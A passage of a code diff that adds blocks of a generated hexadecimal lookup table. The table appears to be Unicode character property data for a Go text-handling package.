0x1064: 0x4000, 0x1065: 0x4000, 0x1066: 0x4000, 0x1068: 0x4000, 0x1069: 0x4000, + 0x106a: 0x4000, 0x106b: 0x4000, + // Block 0x42, offset 0x1080 + 0x1081: 0x9012, 0x1082: 0x9012, 0x1083: 0x9012, 0x1084: 0x9012, 0x1085: 0x9012, + 0x1086: 0x9012, 0x1087: 0x9012, 0x1088: 0x9012, 0x1089: 0x9012, 0x108a: 0x9012, 0x108b: 0x9012, + 0x108c: 0x9012, 0x108d: 0x9012, 0x108e: 0x9012, 0x108f: 0x9012, 0x1090: 0x9012, 0x1091: 0x9012, + 0x1092: 0x9012, 0x1093: 0x9012, 0x1094: 0x9012, 0x1095: 0x9012, 0x1096: 0x9012, 0x1097: 0x9012, + 0x1098: 0x9012, 0x1099: 0x9012, 0x109a: 0x9012, 0x109b: 0x9012, 0x109c: 0x9012, 0x109d: 0x9012, + 0x109e: 0x9012, 0x109f: 0x9012, 0x10a0: 0x9049, 0x10a1: 0x9049, 0x10a2: 0x9049, 0x10a3: 0x9049, + 0x10a4: 0x9049, 0x10a5: 0x9049, 0x10a6: 0x9049, 0x10a7: 0x9049, 0x10a8: 0x9049, 0x10a9: 0x9049, + 0x10aa: 0x9049, 0x10ab: 0x9049, 0x10ac: 0x9049, 0x10ad: 0x9049, 0x10ae: 0x9049, 0x10af: 0x9049, + 0x10b0: 0x9049, 0x10b1: 0x9049, 0x10b2: 0x9049, 0x10b3: 0x9049, 0x10b4: 0x9049, 0x10b5: 0x9049, + 0x10b6: 0x9049, 0x10b7: 0x9049, 0x10b8: 0x9049, 0x10b9: 0x9049, 0x10ba: 0x9049, 0x10bb: 0x9049, + 0x10bc: 0x9049, 0x10bd: 0x9049, 0x10be: 0x9049, 0x10bf: 0x9049, + // Block 0x43, offset 0x10c0 + 0x10c0: 0x9049, 0x10c1: 0x9049, 0x10c2: 0x9049, 0x10c3: 0x9049, 0x10c4: 0x9049, 0x10c5: 0x9049, + 0x10c6: 0x9049, 0x10c7: 0x9049, 0x10c8: 0x9049, 0x10c9: 0x9049, 0x10ca: 0x9049, 0x10cb: 0x9049, + 0x10cc: 0x9049, 0x10cd: 0x9049, 0x10ce: 0x9049, 0x10cf: 0x9049, 0x10d0: 0x9049, 0x10d1: 0x9049, + 0x10d2: 0x9049, 0x10d3: 0x9049, 0x10d4: 0x9049, 0x10d5: 0x9049, 0x10d6: 0x9049, 0x10d7: 0x9049, + 0x10d8: 0x9049, 0x10d9: 0x9049, 0x10da: 0x9049, 0x10db: 0x9049, 0x10dc: 0x9049, 0x10dd: 0x9049, + 0x10de: 0x9049, 0x10df: 0x904a, 0x10e0: 0x904b, 0x10e1: 0xb04c, 0x10e2: 0xb04d, 0x10e3: 0xb04d, + 0x10e4: 0xb04e, 0x10e5: 0xb04f, 0x10e6: 0xb050, 0x10e7: 0xb051, 0x10e8: 0xb052, 0x10e9: 0xb053, + 0x10ea: 0xb054, 0x10eb: 0xb055, 0x10ec: 0xb056, 0x10ed: 0xb057, 0x10ee: 0xb058, 0x10ef: 0xb059, + 0x10f0: 0xb05a, 0x10f1: 0xb05b, 0x10f2: 0xb05c, 0x10f3: 0xb05d, 0x10f4: 0xb05e, 0x10f5: 0xb05f, + 0x10f6: 0xb060, 0x10f7: 0xb061, 0x10f8: 0xb062, 0x10f9: 0xb063, 0x10fa: 0xb064, 0x10fb: 0xb065, + 0x10fc: 0xb052, 0x10fd: 0xb066, 0x10fe: 0xb067, 0x10ff: 0xb055, + // Block 0x44, offset 0x1100 + 0x1100: 0xb068, 0x1101: 0xb069, 0x1102: 0xb06a, 0x1103: 0xb06b, 0x1104: 0xb05a, 0x1105: 0xb056, + 0x1106: 0xb06c, 0x1107: 0xb06d, 0x1108: 0xb06b, 0x1109: 0xb06e, 0x110a: 0xb06b, 0x110b: 0xb06f, + 0x110c: 0xb06f, 0x110d: 0xb070, 0x110e: 0xb070, 0x110f: 0xb071, 0x1110: 0xb056, 0x1111: 0xb072, + 0x1112: 0xb073, 0x1113: 0xb072, 0x1114: 0xb074, 0x1115: 0xb073, 0x1116: 0xb075, 0x1117: 0xb075, + 0x1118: 0xb076, 0x1119: 0xb076, 0x111a: 0xb077, 0x111b: 0xb077, 0x111c: 0xb073, 0x111d: 0xb078, + 0x111e: 0xb079, 0x111f: 0xb067, 0x1120: 0xb07a, 0x1121: 0xb07b, 0x1122: 0xb07b, 0x1123: 0xb07b, + 0x1124: 0xb07b, 0x1125: 0xb07b, 0x1126: 0xb07b, 0x1127: 0xb07b, 0x1128: 0xb07b, 0x1129: 0xb07b, + 0x112a: 0xb07b, 0x112b: 0xb07b, 0x112c: 0xb07b, 0x112d: 0xb07b, 0x112e: 0xb07b, 0x112f: 0xb07b, + 0x1130: 0xb07c, 0x1131: 0xb07c, 0x1132: 0xb07c, 0x1133: 0xb07c, 0x1134: 0xb07c, 0x1135: 0xb07c, + 0x1136: 0xb07c, 0x1137: 0xb07c, 0x1138: 0xb07c, 0x1139: 0xb07c, 0x113a: 0xb07c, 0x113b: 0xb07c, + 0x113c: 0xb07c, 0x113d: 0xb07c, 0x113e: 0xb07c, + // Block 0x45, offset 0x1140 + 0x1142: 0xb07d, 0x1143: 0xb07e, 0x1144: 0xb07f, 0x1145: 0xb080, + 0x1146: 0xb07f, 0x1147: 0xb07e, 0x114a: 0xb081, 0x114b: 0xb082, + 0x114c: 0xb083, 0x114d: 0xb07f, 0x114e: 0xb080, 0x114f: 0xb07f, + 0x1152: 0xb084, 0x1153: 0xb085, 0x1154: 0xb084, 0x1155: 0xb086, 0x1156: 0xb084, 0x1157: 0xb087, + 0x115a: 0xb088, 0x115b: 0xb089, 0x115c: 0xb08a, + 0x1160: 0x908b, 0x1161: 0x908b, 0x1162: 0x908c, 0x1163: 0x908d, + 0x1164: 0x908b, 0x1165: 0x908e, 0x1166: 0x908f, 0x1168: 0xb090, 0x1169: 0xb091, + 0x116a: 0xb092, 0x116b: 0xb091, 0x116c: 0xb093, 0x116d: 0xb094, 0x116e: 0xb095, + 0x117d: 0x2000, + // Block 0x46, offset 0x1180 + 0x11a0: 0x4000, 0x11a1: 0x4000, 0x11a2: 0x4000, 0x11a3: 0x4000, + 0x11a4: 0x4000, + 0x11b0: 0x4000, 0x11b1: 0x4000, + // Block 0x47, offset 0x11c0 + 0x11c0: 0x4000, 0x11c1: 0x4000, 0x11c2: 0x4000, 0x11c3: 0x4000, 0x11c4: 0x4000, 0x11c5: 0x4000, + 0x11c6: 0x4000, 0x11c7: 0x4000, 0x11c8: 0x4000, 0x11c9: 0x4000, 0x11ca: 0x4000, 0x11cb: 0x4000, + 0x11cc: 0x4000, 0x11cd: 0x4000, 0x11ce: 0x4000, 0x11cf: 0x4000, 0x11d0: 0x4000, 0x11d1: 0x4000, + 0x11d2: 0x4000, 0x11d3: 0x4000, 0x11d4: 0x4000, 0x11d5: 0x4000, 0x11d6: 0x4000, 0x11d7: 0x4000, + 0x11d8: 0x4000, 0x11d9: 0x4000, 0x11da: 0x4000, 0x11db: 0x4000, 0x11dc: 0x4000, 0x11dd: 0x4000, + 0x11de: 0x4000, 0x11df: 0x4000, 0x11e0: 0x4000, 0x11e1: 0x4000, 0x11e2: 0x4000, 0x11e3: 0x4000, + 0x11e4: 0x4000, 0x11e5: 0x4000, 0x11e6: 0x4000, 0x11e7: 0x4000, 0x11e8: 0x4000, 0x11e9: 0x4000, + 0x11ea: 0x4000, 0x11eb: 0x4000, 0x11ec: 0x4000, 0x11ed: 0x4000, 0x11ee: 0x4000, 0x11ef: 0x4000, + 0x11f0: 0x4000, 0x11f1: 0x4000, 0x11f2: 0x4000, 0x11f3: 0x4000, 0x11f4: 0x4000, 0x11f5: 0x4000, + 0x11f6: 0x4000, 0x11f7: 0x4000, + // Block 0x48, offset 0x1200 + 0x1200: 0x4000, 0x1201: 0x4000, 0x1202: 0x4000, 0x1203: 0x4000, 0x1204: 0x4000, 0x1205: 0x4000, + 0x1206: 0x4000, 0x1207: 0x4000, 0x1208: 0x4000, 0x1209: 0x4000, 0x120a: 0x4000, 0x120b: 0x4000, + 0x120c: 0x4000, 0x120d: 0x4000, 0x120e: 0x4000, 0x120f: 0x4000, 0x1210: 0x4000, 0x1211: 0x4000, + 0x1212: 0x4000, 0x1213: 0x4000, 0x1214: 0x4000, 0x1215: 0x4000, + // Block 0x49, offset 0x1240 + 0x1240: 0x4000, 0x1241: 0x4000, 0x1242: 0x4000, 0x1243: 0x4000, 0x1244: 0x4000, 0x1245: 0x4000, + 0x1246: 0x4000, 0x1247: 0x4000, 0x1248: 0x4000, + // Block 0x4a, offset 0x1280 + 0x12b0: 0x4000, 0x12b1: 0x4000, 0x12b2: 0x4000, 0x12b3: 0x4000, 0x12b5: 0x4000, + 0x12b6: 0x4000, 0x12b7: 0x4000, 0x12b8: 0x4000, 0x12b9: 0x4000, 0x12ba: 0x4000, 0x12bb: 0x4000, + 0x12bd: 0x4000, 0x12be: 0x4000, + // Block 0x4b, offset 0x12c0 + 0x12c0: 0x4000, 0x12c1: 0x4000, 0x12c2: 0x4000, 0x12c3: 0x4000, 0x12c4: 0x4000, 0x12c5: 0x4000, + 0x12c6: 0x4000, 0x12c7: 0x4000, 0x12c8: 0x4000, 0x12c9: 0x4000, 0x12ca: 0x4000, 0x12cb: 0x4000, + 0x12cc: 0x4000, 0x12cd: 0x4000, 0x12ce: 0x4000, 0x12cf: 0x4000, 0x12d0: 0x4000, 0x12d1: 0x4000, + 0x12d2: 0x4000, 0x12d3: 0x4000, 0x12d4: 0x4000, 0x12d5: 0x4000, 0x12d6: 0x4000, 0x12d7: 0x4000, + 0x12d8: 0x4000, 0x12d9: 0x4000, 0x12da: 0x4000, 0x12db: 0x4000, 0x12dc: 0x4000, 0x12dd: 0x4000, + 0x12de: 0x4000, 0x12df: 0x4000, 0x12e0: 0x4000, 0x12e1: 0x4000, 0x12e2: 0x4000, + 0x12f2: 0x4000, + // Block 0x4c, offset 0x1300 + 0x1310: 0x4000, 0x1311: 0x4000, + 0x1312: 0x4000, 0x1315: 0x4000, + 0x1324: 0x4000, 0x1325: 0x4000, 0x1326: 0x4000, 0x1327: 0x4000, + 0x1330: 0x4000, 0x1331: 0x4000, 0x1332: 0x4000, 0x1333: 0x4000, 0x1334: 0x4000, 0x1335: 0x4000, + 0x1336: 0x4000, 0x1337: 0x4000, 0x1338: 0x4000, 0x1339: 0x4000, 0x133a: 0x4000, 0x133b: 0x4000, + 0x133c: 0x4000, 0x133d: 0x4000, 0x133e: 0x4000, 0x133f: 0x4000, + // Block 0x4d, offset 0x1340 + 0x1340: 0x4000, 0x1341: 0x4000, 0x1342: 0x4000, 0x1343: 0x4000, 0x1344: 0x4000, 0x1345: 0x4000, + 0x1346: 0x4000, 0x1347: 0x4000, 0x1348: 0x4000, 0x1349: 0x4000, 0x134a: 0x4000, 0x134b: 0x4000, + 0x134c: 0x4000, 0x134d: 0x4000, 0x134e: 0x4000, 0x134f: 0x4000, 0x1350: 0x4000, 0x1351: 0x4000, + 0x1352: 0x4000, 0x1353: 0x4000, 0x1354: 0x4000, 0x1355: 0x4000, 0x1356: 0x4000, 0x1357: 0x4000, + 0x1358: 0x4000, 0x1359: 0x4000, 0x135a: 0x4000, 0x135b: 0x4000, 0x135c: 0x4000, 0x135d: 0x4000, + 0x135e: 0x4000, 0x135f: 0x4000, 0x1360: 0x4000, 0x1361: 0x4000, 0x1362: 0x4000, 0x1363: 0x4000, + 0x1364: 0x4000, 0x1365: 0x4000, 0x1366: 0x4000, 0x1367: 0x4000, 0x1368: 0x4000, 0x1369: 0x4000, + 0x136a: 0x4000, 0x136b: 0x4000, 0x136c: 0x4000, 0x136d: 0x4000, 0x136e: 0x4000, 0x136f: 0x4000, + 0x1370: 0x4000, 0x1371: 0x4000, 0x1372: 0x4000, 0x1373: 0x4000, 0x1374: 0x4000, 0x1375: 0x4000, + 0x1376: 0x4000, 0x1377: 0x4000, 0x1378: 0x4000, 0x1379: 0x4000, 0x137a: 0x4000, 0x137b: 0x4000, + // Block 0x4e, offset 0x1380 + 0x1384: 0x4000, + // Block 0x4f, offset 0x13c0 + 0x13cf: 0x4000, + // Block 0x50, offset 0x1400 + 0x1400: 0x2000, 0x1401: 0x2000, 0x1402: 0x2000, 0x1403: 0x2000, 0x1404: 0x2000, 0x1405: 0x2000, + 0x1406: 0x2000, 0x1407: 0x2000, 0x1408: 0x2000, 0x1409: 0x2000, 0x140a: 0x2000, + 0x1410: 0x2000, 0x1411: 0x2000, + 0x1412: 0x2000, 0x1413: 0x2000, 0x1414: 0x2000, 0x1415: 0x2000, 0x1416: 0x2000, 0x1417: 0x2000, + 0x1418: 0x2000, 0x1419: 0x2000, 0x141a: 0x2000, 0x141b: 0x2000, 0x141c: 0x2000, 0x141d: 0x2000, + 0x141e: 0x2000, 0x141f: 0x2000, 0x1420: 0x2000, 0x1421: 0x2000, 0x1422: 0x2000, 0x1423: 0x2000, + 0x1424: 0x2000, 0x1425: 0x2000, 0x1426: 0x2000, 0x1427: 0x2000, 0x1428: 0x2000, 0x1429: 0x2000, + 0x142a: 0x2000, 0x142b: 0x2000, 0x142c: 0x2000, 0x142d: 0x2000, + 0x1430: 0x2000, 0x1431: 0x2000, 0x1432: 0x2000, 0x1433: 0x2000, 0x1434: 0x2000, 0x1435: 0x2000, + 0x1436: 0x2000, 0x1437: 0x2000, 0x1438: 0x2000, 0x1439: 0x2000, 0x143a: 0x2000, 0x143b: 0x2000, + 0x143c: 0x2000, 0x143d: 0x2000, 0x143e: 0x2000, 0x143f: 0x2000, + // Block 0x51, offset 0x1440 + 0x1440: 0x2000, 0x1441: 0x2000, 0x1442: 0x2000, 0x1443: 0x2000, 0x1444: 0x2000, 0x1445: 0x2000, + 0x1446: 0x2000, 0x1447: 0x2000, 0x1448: 0x2000, 0x1449: 0x2000, 0x144a: 0x2000, 0x144b: 0x2000, + 0x144c: 0x2000, 0x144d: 0x2000, 0x144e: 0x2000, 0x144f: 0x2000, 0x1450: 0x2000, 0x1451: 0x2000, + 0x1452: 0x2000, 0x1453: 0x2000, 0x1454: 0x2000, 0x1455: 0x2000, 0x1456: 0x2000, 0x1457: 0x2000, + 0x1458: 0x2000, 0x1459: 0x2000, 0x145a: 0x2000, 0x145b: 0x2000, 0x145c: 0x2000, 0x145d: 0x2000, + 0x145e: 0x2000, 0x145f: 0x2000, 0x1460: 0x2000, 0x1461: 0x2000, 0x1462: 0x2000, 0x1463: 0x2000, + 0x1464: 0x2000, 0x1465: 0x2000, 0x1466: 0x2000, 0x1467: 0x2000, 0x1468: 0x2000, 0x1469: 0x2000, + 0x1470: 0x2000, 0x1471: 0x2000, 0x1472: 0x2000, 0x1473: 0x2000, 0x1474: 0x2000, 0x1475: 0x2000, + 0x1476: 0x2000, 0x1477: 0x2000, 0x1478: 0x2000, 0x1479: 0x2000, 0x147a: 0x2000, 0x147b: 0x2000, + 0x147c: 0x2000, 0x147d: 0x2000, 0x147e: 0x2000, 0x147f: 0x2000, + // Block 0x52, offset 0x1480 + 0x1480: 0x2000, 0x1481: 0x2000, 0x1482: 0x2000, 0x1483: 0x2000, 0x1484: 0x2000, 0x1485: 0x2000, + 0x1486: 0x2000, 0x1487: 0x2000, 0x1488: 0x2000, 0x1489: 0x2000, 0x148a: 0x2000, 0x148b: 0x2000, + 0x148c: 0x2000, 0x148d: 0x2000, 0x148e: 0x4000, 0x148f: 0x2000, 0x1490: 0x2000, 0x1491: 0x4000, + 0x1492: 0x4000, 0x1493: 0x4000, 0x1494: 0x4000, 0x1495: 0x4000, 0x1496: 0x4000, 0x1497: 0x4000, + 0x1498: 0x4000, 0x1499: 0x4000, 0x149a: 0x4000, 0x149b: 0x2000, 0x149c: 0x2000, 0x149d: 0x2000, + 0x149e: 0x2000, 0x149f: 0x2000, 0x14a0: 0x2000, 0x14a1: 0x2000, 0x14a2: 0x2000, 0x14a3: 0x2000, + 0x14a4: 0x2000, 0x14a5: 0x2000, 0x14a6: 0x2000, 0x14a7: 0x2000, 0x14a8: 0x2000, 0x14a9: 0x2000, + 0x14aa: 0x2000, 0x14ab: 0x2000, 0x14ac: 0x2000, + // Block 0x53, offset 0x14c0 + 0x14c0: 0x4000, 0x14c1: 0x4000, 0x14c2: 0x4000, + 0x14d0: 0x4000, 0x14d1: 0x4000, + 0x14d2: 0x4000, 0x14d3: 0x4000, 0x14d4: 0x4000, 0x14d5: 0x4000, 0x14d6: 0x4000, 0x14d7: 0x4000, + 0x14d8: 0x4000, 0x14d9: 0x4000, 0x14da: 0x4000, 0x14db: 0x4000, 0x14dc: 0x4000, 0x14dd: 0x4000, + 0x14de: 0x4000, 0x14df: 0x4000, 0x14e0: 0x4000, 0x14e1: 0x4000, 0x14e2: 0x4000, 0x14e3: 0x4000, + 0x14e4: 0x4000, 0x14e5: 0x4000, 0x14e6: 0x4000, 0x14e7: 0x4000, 0x14e8: 0x4000, 0x14e9: 0x4000, + 0x14ea: 0x4000, 0x14eb: 0x4000, 0x14ec: 0x4000, 0x14ed: 0x4000, 0x14ee: 0x4000, 0x14ef: 0x4000, + 0x14f0: 0x4000, 0x14f1: 0x4000, 0x14f2: 0x4000, 0x14f3: 0x4000, 0x14f4: 0x4000, 0x14f5: 0x4000, + 0x14f6: 0x4000, 0x14f7: 0x4000, 0x14f8: 0x4000, 0x14f9: 0x4000, 0x14fa: 0x4000, 0x14fb: 0x4000, + // Block 0x54, offset 0x1500 + 0x1500: 0x4000, 0x1501: 0x4000, 0x1502: 0x4000, 0x1503: 0x4000, 0x1504: 0x4000, 0x1505: 0x4000, + 0x1506: 0x4000, 0x1507: 0x4000, 0x1508: 0x4000, + 0x1510: 0x4000, 0x1511: 0x4000, + 0x1520: 0x4000, 0x1521: 0x4000, 0x1522: 0x4000, 0x1523: 0x4000, + 0x1524: 0x4000, 0x1525: 0x4000, + // Block 0x55, offset 0x1540 + 0x1540: 0x4000, 0x1541: 0x4000, 0x1542: 0x4000, 0x1543: 0x4000, 0x1544: 0x4000, 0x1545: 0x4000, + 0x1546: 0x4000, 0x1547: 0x4000, 0x1548: 0x4000, 0x1549: 0x4000, 0x154a: 0x4000, 0x154b: 0x4000, + 0x154c: 0x4000, 0x154d: 0x4000, 0x154e: 0x4000, 0x154f: 0x4000, 0x1550: 0x4000, 0x1551: 0x4000, + 0x1552: 0x4000, 0x1553: 0x4000, 0x1554: 0x4000, 0x1555: 0x4000, 0x1556: 0x4000, 0x1557: 0x4000, + 0x1558: 0x4000, 0x1559: 0x4000, 0x155a: 0x4000, 0x155b: 0x4000, 0x155c: 0x4000, 0x155d: 0x4000, + 0x155e: 0x4000, 0x155f: 0x4000, 0x1560: 0x4000, + 0x156d: 0x4000, 0x156e: 0x4000, 0x156f: 0x4000, + 0x1570: 0x4000, 0x1571: 0x4000, 0x1572: 0x4000, 0x1573: 0x4000, 0x1574: 0x4000, 0x1575: 0x4000, + 0x1577: 0x4000, 0x1578: 0x4000, 0x1579: 0x4000, 0x157a: 0x4000, 0x157b: 0x4000, + 0x157c: 0x4000, 0x157d: 0x4000, 0x157e: 0x4000, 0x157f: 0x4000, + // Block 0x56, offset 0x1580 + 0x1580: 0x4000, 0x1581: 0x4000, 0x1582: 0x4000, 0x1583: 0x4000, 0x1584: 0x4000, 0x1585: 0x4000, + 0x1586: 0x4000, 0x1587: 0x4000, 0x1588: 0x4000, 0x1589: 0x4000, 0x158a: 0x4000, 0x158b: 0x4000, + 0x158c: 0x4000, 0x158d: 0x4000, 0x158e: 0x4000, 0x158f: 0x4000, 0x1590: 0x4000, 0x1591: 0x4000, + 0x1592: 0x4000, 0x1593: 0x4000, 0x1594: 0x4000, 0x1595: 0x4000, 0x1596: 0x4000, 0x1597: 0x4000, + 0x1598: 0x4000, 0x1599: 0x4000, 0x159a: 0x4000, 0x159b: 0x4000, 0x159c: 0x4000, 0x159d: 0x4000, + 0x159e: 0x4000, 0x159f: 0x4000, 0x15a0: 0x4000, 0x15a1: 0x4000, 0x15a2: 0x4000, 0x15a3: 0x4000, + 0x15a4: 0x4000, 0x15a5: 0x4000, 0x15a6: 0x4000, 0x15a7: 0x4000, 0x15a8: 0x4000, 0x15a9: 0x4000, + 0x15aa: 0x4000, 0x15ab: 0x4000, 0x15ac: 0x4000, 0x15ad: 0x4000, 0x15ae: 0x4000, 0x15af: 0x4000, + 0x15b0: 0x4000, 0x15b1: 0x4000, 0x15b2: 0x4000, 0x15b3: 0x4000, 0x15b4: 0x4000, 0x15b5: 0x4000, + 0x15b6: 0x4000, 0x15b7: 0x4000, 0x15b8: 0x4000, 0x15b9: 0x4000, 0x15ba: 0x4000, 0x15bb: 0x4000, + 0x15bc: 0x4000, 0x15be: 0x4000, 0x15bf: 0x4000, + // Block 0x57, offset 0x15c0 + 0x15c0: 0x4000, 0x15c1: 0x4000, 0x15c2: 0x4000, 0x15c3: 0x4000, 0x15c4: 0x4000, 0x15c5: 0x4000, + 0x15c6: 0x4000, 0x15c7: 0x4000, 0x15c8: 0x4000, 0x15c9: 0x4000, 0x15ca: 0x4000, 0x15cb: 0x4000, + 0x15cc: 0x4000, 0x15cd: 0x4000, 0x15ce: 0x4000, 0x15cf: 0x4000, 0x15d0: 0x4000, 0x15d1: 0x4000, + 0x15d2: 0x4000, 0x15d3: 0x4000, + 0x15e0: 0x4000, 0x15e1: 0x4000, 0x15e2: 0x4000, 0x15e3: 0x4000, + 0x15e4: 0x4000, 0x15e5: 0x4000, 0x15e6: 0x4000, 0x15e7: 0x4000, 0x15e8: 0x4000, 0x15e9: 0x4000, + 0x15ea: 0x4000, 0x15eb: 0x4000, 0x15ec: 0x4000, 0x15ed: 0x4000, 0x15ee: 0x4000, 0x15ef: 0x4000, + 0x15f0: 0x4000, 0x15f1: 0x4000, 0x15f2: 0x4000, 0x15f3: 0x4000, 0x15f4: 0x4000, 0x15f5: 0x4000, + 0x15f6: 0x4000, 0x15f7: 0x4000, 0x15f8: 0x4000, 0x15f9: 0x4000, 0x15fa: 0x4000, 0x15fb: 0x4000, + 0x15fc: 0x4000, 0x15fd: 0x4000, 0x15fe: 0x4000, 0x15ff: 0x4000, + // Block 0x58, offset 0x1600 + 0x1600: 0x4000, 0x1601: 0x4000, 0x1602: 0x4000, 0x1603: 0x4000, 0x1604: 0x4000, 0x1605: 0x4000, + 0x1606: 0x4000, 0x1607: 0x4000, 0x1608: 0x4000, 0x1609: 0x4000, 0x160a: 0x4000, + 0x160f: 0x4000, 0x1610: 0x4000, 0x1611: 0x4000, + 0x1612: 0x4000, 0x1613: 0x4000, + 0x1620: 0x4000, 0x1621: 0x4000, 0x1622: 0x4000, 0x1623: 0x4000, + 0x1624: 0x4000, 0x1625: 0x4000, 0x1626: 0x4000, 0x1627: 0x4000, 0x1628: 0x4000, 0x1629: 0x4000, + 0x162a: 0x4000, 0x162b: 0x4000, 0x162c: 0x4000, 0x162d: 0x4000, 0x162e: 0x4000, 0x162f: 0x4000, + 0x1630: 0x4000, 0x1634: 0x4000, + 0x1638: 0x4000, 0x1639: 0x4000, 0x163a: 0x4000, 0x163b: 0x4000, + 0x163c: 0x4000, 0x163d: 0x4000, 0x163e: 0x4000, 0x163f: 0x4000, + // Block 0x59, offset 0x1640 + 0x1640: 0x4000, 0x1641: 0x4000, 0x1642: 0x4000, 0x1643: 0x4000, 0x1644: 0x4000, 0x1645: 0x4000, + 0x1646: 0x4000, 0x1647: 0x4000, 0x1648: 0x4000, 0x1649: 0x4000, 0x164a: 0x4000, 0x164b: 0x4000, + 0x164c: 0x4000, 0x164d: 0x4000, 0x164e: 0x4000, 0x164f: 0x4000, 0x1650: 0x4000, 0x1651: 0x4000, + 0x1652: 0x4000, 0x1653: 0x4000, 0x1654: 0x4000, 0x1655: 0x4000, 0x1656: 0x4000, 0x1657: 0x4000, + 0x1658: 0x4000, 0x1659: 0x4000, 0x165a: 0x4000, 0x165b: 0x4000, 0x165c: 0x4000, 0x165d: 0x4000, + 0x165e: 0x4000, 0x165f: 0x4000, 0x1660: 0x4000, 0x1661: 0x4000, 0x1662: 0x4000, 0x1663: 0x4000, + 0x1664: 0x4000, 0x1665: 0x4000, 0x1666: 0x4000, 0x1667: 0x4000, 0x1668: 0x4000, 0x1669: 0x4000, + 0x166a: 0x4000, 0x166b: 0x4000, 0x166c: 0x4000, 0x166d: 0x4000, 0x166e: 0x4000, 0x166f: 0x4000, + 0x1670: 0x4000, 0x1671: 0x4000, 0x1672: 0x4000, 0x1673: 0x4000, 0x1674: 0x4000, 0x1675: 0x4000, + 0x1676: 0x4000, 0x1677: 0x4000, 0x1678: 0x4000, 0x1679: 0x4000, 0x167a: 0x4000, 0x167b: 0x4000, + 0x167c: 0x4000, 0x167d: 0x4000, 0x167e: 0x4000, + // Block 0x5a, offset 0x1680 + 0x1680: 0x4000, 0x1682: 0x4000, 0x1683: 0x4000, 0x1684: 0x4000, 0x1685: 0x4000, + 0x1686: 0x4000, 0x1687: 0x4000, 0x1688: 0x4000, 0x1689: 0x4000, 0x168a: 0x4000, 0x168b: 0x4000, + 0x168c: 0x4000, 0x168d: 0x4000, 0x168e: 0x4000, 0x168f: 0x4000, 0x1690: 0x4000, 0x1691: 0x4000, + 0x1692: 0x4000, 0x1693: 0x4000, 0x1694: 0x4000, 0x1695: 0x4000, 0x1696: 0x4000, 0x1697: 0x4000, + 0x1698: 0x4000, 0x1699: 0x4000, 0x169a: 0x4000, 0x169b: 0x4000, 0x169c: 0x4000, 0x169d: 0x4000, + 0x169e: 0x4000, 0x169f: 0x4000, 0x16a0: 0x4000, 0x16a1: 0x4000, 0x16a2: 0x4000, 0x16a3: 0x4000, + 0x16a4: 0x4000, 0x16a5: 0x4000, 0x16a6: 0x4000, 0x16a7: 0x4000, 0x16a8: 0x4000, 0x16a9: 0x4000, + 0x16aa: 0x4000, 0x16ab: 0x4000, 0x16ac: 0x4000, 0x16ad: 0x4000, 0x16ae: 0x4000, 0x16af: 0x4000, + 0x16b0: 0x4000, 0x16b1: 0x4000, 0x16b2: 0x4000, 0x16b3: 0x4000, 0x16b4: 0x4000, 0x16b5: 0x4000, + 0x16b6: 0x4000, 0x16b7: 0x4000, 0x16b8: 0x4000, 0x16b9: 0x4000, 0x16ba: 0x4000, 0x16bb: 0x4000, + 0x16bc: 0x4000, 0x16bd: 0x4000, 0x16be: 0x4000, 0x16bf: 0x4000, + // Block 0x5b, offset 0x16c0 + 0x16c0: 0x4000, 0x16c1: 0x4000, 0x16c2: 0x4000, 0x16c3: 0x4000, 0x16c4: 0x4000, 0x16c5: 0x4000, + 0x16c6: 0x4000, 0x16c7: 0x4000, 0x16c8: 0x4000, 0x16c9: 0x4000, 0x16ca: 0x4000, 0x16cb: 0x4000, + 0x16cc: 0x4000, 0x16cd: 0x4000, 0x16ce: 0x4000, 0x16cf: 0x4000, 0x16d0: 0x4000, 0x16d1: 0x4000, + 0x16d2: 0x4000, 0x16d3: 0x4000, 0x16d4: 0x4000, 0x16d5: 0x4000, 0x16d6: 0x4000, 0x16d7: 0x4000, + 0x16d8: 0x4000, 0x16d9: 0x4000, 0x16da: 0x4000, 0x16db: 0x4000, 0x16dc: 0x4000, 0x16dd: 0x4000, + 0x16de: 0x4000, 0x16df: 0x4000, 0x16e0: 0x4000, 0x16e1: 0x4000, 0x16e2: 0x4000, 0x16e3: 0x4000, + 0x16e4: 0x4000, 0x16e5: 0x4000, 0x16e6: 0x4000, 0x16e7: 0x4000, 0x16e8: 0x4000, 0x16e9: 0x4000, + 0x16ea: 0x4000, 0x16eb: 0x4000, 0x16ec: 0x4000, 0x16ed: 0x4000, 0x16ee: 0x4000, 0x16ef: 0x4000, + 0x16f0: 0x4000, 0x16f1: 0x4000, 0x16f2: 0x4000, 0x16f3: 0x4000, 0x16f4: 0x4000, 0x16f5: 0x4000, + 0x16f6: 0x4000, 0x16f7: 0x4000, 0x16f8: 0x4000, 0x16f9: 0x4000, 0x16fa: 0x4000, 0x16fb: 0x4000, + 0x16fc: 0x4000, 0x16ff: 0x4000, + // Block 0x5c, offset 0x1700 + 0x1700: 0x4000, 0x1701: 0x4000, 0x1702: 0x4000, 0x1703: 0x4000, 0x1704: 0x4000, 0x1705: 0x4000, + 0x1706: 0x4000, 0x1707: 0x4000, 0x1708: 0x4000, 0x1709: 0x4000, 0x170a: 0x4000, 0x170b: 0x4000, + 0x170c: 0x4000, 0x170d: 0x4000, 0x170e: 0x4000, 0x170f: 0x4000, 0x1710: 0x4000, 0x1711: 0x4000, + 0x1712: 0x4000, 0x1713: 0x4000, 0x1714: 0x4000, 0x1715: 0x4000, 0x1716: 0x4000, 0x1717: 0x4000, + 0x1718: 0x4000, 0x1719: 0x4000, 0x171a: 0x4000, 0x171b: 0x4000, 0x171c: 0x4000, 0x171d: 0x4000, + 0x171e: 0x4000, 0x171f: 0x4000, 0x1720: 0x4000, 0x1721: 0x4000, 0x1722: 0x4000, 0x1723: 0x4000, + 0x1724: 0x4000, 0x1725: 0x4000, 0x1726: 0x4000, 0x1727: 0x4000, 0x1728: 0x4000, 0x1729: 0x4000, + 0x172a: 0x4000, 0x172b: 0x4000, 0x172c: 0x4000, 0x172d: 0x4000, 0x172e: 0x4000, 0x172f: 0x4000, + 0x1730: 0x4000, 0x1731: 0x4000, 0x1732: 0x4000, 0x1733: 0x4000, 0x1734: 0x4000, 0x1735: 0x4000, + 0x1736: 0x4000, 0x1737: 0x4000, 0x1738: 0x4000, 0x1739: 0x4000, 0x173a: 0x4000, 0x173b: 0x4000, + 0x173c: 0x4000, 0x173d: 0x4000, + // Block 0x5d, offset 0x1740 + 0x174b: 0x4000, + 0x174c: 0x4000, 0x174d: 0x4000, 0x174e: 0x4000, 0x1750: 0x4000, 0x1751: 0x4000, + 0x1752: 